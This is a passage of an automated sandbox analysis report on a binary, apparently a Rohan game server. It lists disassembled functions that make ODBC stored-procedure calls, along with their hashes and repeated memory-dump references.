                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 6a01bd6876d825f42c499c29d7e2977237d2924945408217e53cf0a7b909ff72
                                                                                                                            • Instruction ID: 1568cf19c39c64caf5f0eaf81107f399dfca5c2b8f62d983996023cca203e9ab
                                                                                                                            • Opcode Fuzzy Hash: 6a01bd6876d825f42c499c29d7e2977237d2924945408217e53cf0a7b909ff72
                                                                                                                            • Instruction Fuzzy Hash: 03A12EB8A02118ABDBA4DB09CC55FAA7335EF44718F60C2C8F6186B3D1DE71AD809F54
                                                                                                                            Function 0044B87D Relevance: 25.7, APIs: 17, Instructions: 247COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044B8BE
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044B8EE
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044B91E
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044B94E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044B97E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044B9AE
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044B9DE
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044BA0E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044BA3E
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044BA6E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044BA9E
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044BACE
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?), ref: 0044BAFE
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,00000001,?), ref: 0044BB30
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000E7,?), ref: 0044BB63
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044BB96
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044BBC8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 8be603a43c6cea8966ccf4531baf3a08507ba0285a9a8ff2ba68b4e95b6548d3
                                                                                                                            • Instruction ID: 47bea75f2cef4eff70a4572ed7fc200691c55eedb60551a435be0042801a09a1
                                                                                                                            • Opcode Fuzzy Hash: 8be603a43c6cea8966ccf4531baf3a08507ba0285a9a8ff2ba68b4e95b6548d3
                                                                                                                            • Instruction Fuzzy Hash: 34A1FBB5A0011CAFEB24DB09CD9AFAA7379FB84714F148288F61C6B3C1D671AD908F54
                                                                                                                            Function 0043CB5E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 215COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsTItemHonor]( ?,?,?,?,?,?,?,?,?,? )},000000FD), ref: 0043CB87
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043CBC6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043CBFE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043CC36
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,0000002A,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043CC79
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FE,000000FD,0000002A), ref: 0043CCB1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043CCE9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043CD21
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043CD59
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043CD91
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043CDC9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043CDFE
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsTItemHonor]( ?,?,?,?,?,?,?,?,?,? )}, xrefs: 0043CB7E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsTItemHonor]( ?,?,?,?,?,?,?,?,?,? )}
                                                                                                                            • API String ID: 0-1086152483
                                                                                                                            • Opcode ID: ec062a0752bc03d8b077670da8af4dac0a34af87416200983e0ec9c5e0dbf0d0
                                                                                                                            • Instruction ID: 12c263fc2c61fb5b6bc67f23abd63ba7e92b18c54521fcea19fdcbea2dc1eea9
                                                                                                                            • Opcode Fuzzy Hash: ec062a0752bc03d8b077670da8af4dac0a34af87416200983e0ec9c5e0dbf0d0
                                                                                                                            • Instruction Fuzzy Hash: 13812DB4A40254BBEB218B44CC52FEA7334FB88B19F20C2C9F6586E2C5D5F16DC48B58
                                                                                                                            Function 004276B2 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 197COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsEventItem](?,?,?,?,?,?,?,?,?) } ,000000FD), ref: 004276DB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042771A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00427752
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,0000002A,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 00427792
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FE,000000FD,0000002A), ref: 004277CA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00427802
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042783A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00427872
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004278AA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004278E2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00427917
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsEventItem](?,?,?,?,?,?,?,?,?) } , xrefs: 004276D2
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsEventItem](?,?,?,?,?,?,?,?,?) }
                                                                                                                            • API String ID: 0-1431875944
                                                                                                                            • Opcode ID: a88fd19a75b600e50ddc5246b1cde9a9003cb67fabba1e89959c34f912bdf885
                                                                                                                            • Instruction ID: 7658457c2a2025ccb7b0bfb8e7edf97f6f7dee29a9473339dde45735d8201805
                                                                                                                            • Opcode Fuzzy Hash: a88fd19a75b600e50ddc5246b1cde9a9003cb67fabba1e89959c34f912bdf885
                                                                                                                            • Instruction Fuzzy Hash: 58713170A482157BEB64DF44CC5AFA97334EB84B18F208388F6197E2D1D9B36D80CB18
                                                                                                                            Function 0042B77B Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 195COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_CreateCharacter](?,?,?,?,?,?,?,?,?)} ,000000FD), ref: 0042B7A4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042B7E3
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042B81B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042B853
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000014), ref: 0042B88B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B8C3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B8FB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B933
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042B968
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B9A0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B9D8
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_CreateCharacter](?,?,?,?,?,?,?,?,?)} , xrefs: 0042B79B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_CreateCharacter](?,?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-4012541833
                                                                                                                            • Opcode ID: ead385d381391cc0cff89c452f8e4d341b275be03d020544bb49514a466b6b46
                                                                                                                            • Instruction ID: 4012d820fce7db5c6df9cf78300d277883f033234bb53f1edc9dbbc4efca5749
                                                                                                                            • Opcode Fuzzy Hash: ead385d381391cc0cff89c452f8e4d341b275be03d020544bb49514a466b6b46
                                                                                                                            • Instruction Fuzzy Hash: DC71E370EC02177BEB299F54CD52FBA7379EB84B18F104298F7247E2C5D5B16A808B58
                                                                                                                            Function 0045E760 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 191threadCOMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0045E040: wvsprintfA.USER32(?,?,?), ref: 0045E068
                                                                                                                              • Part of subcall function 0045E040: lstrlenA.KERNEL32(?,?,00000000), ref: 0045E082
                                                                                                                              • Part of subcall function 0045E040: WriteFile.KERNEL32(?,?,00000000), ref: 0045E094
                                                                                                                            • GetCurrentThread.KERNEL32 ref: 0045E808
                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,?,?), ref: 0045E80F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
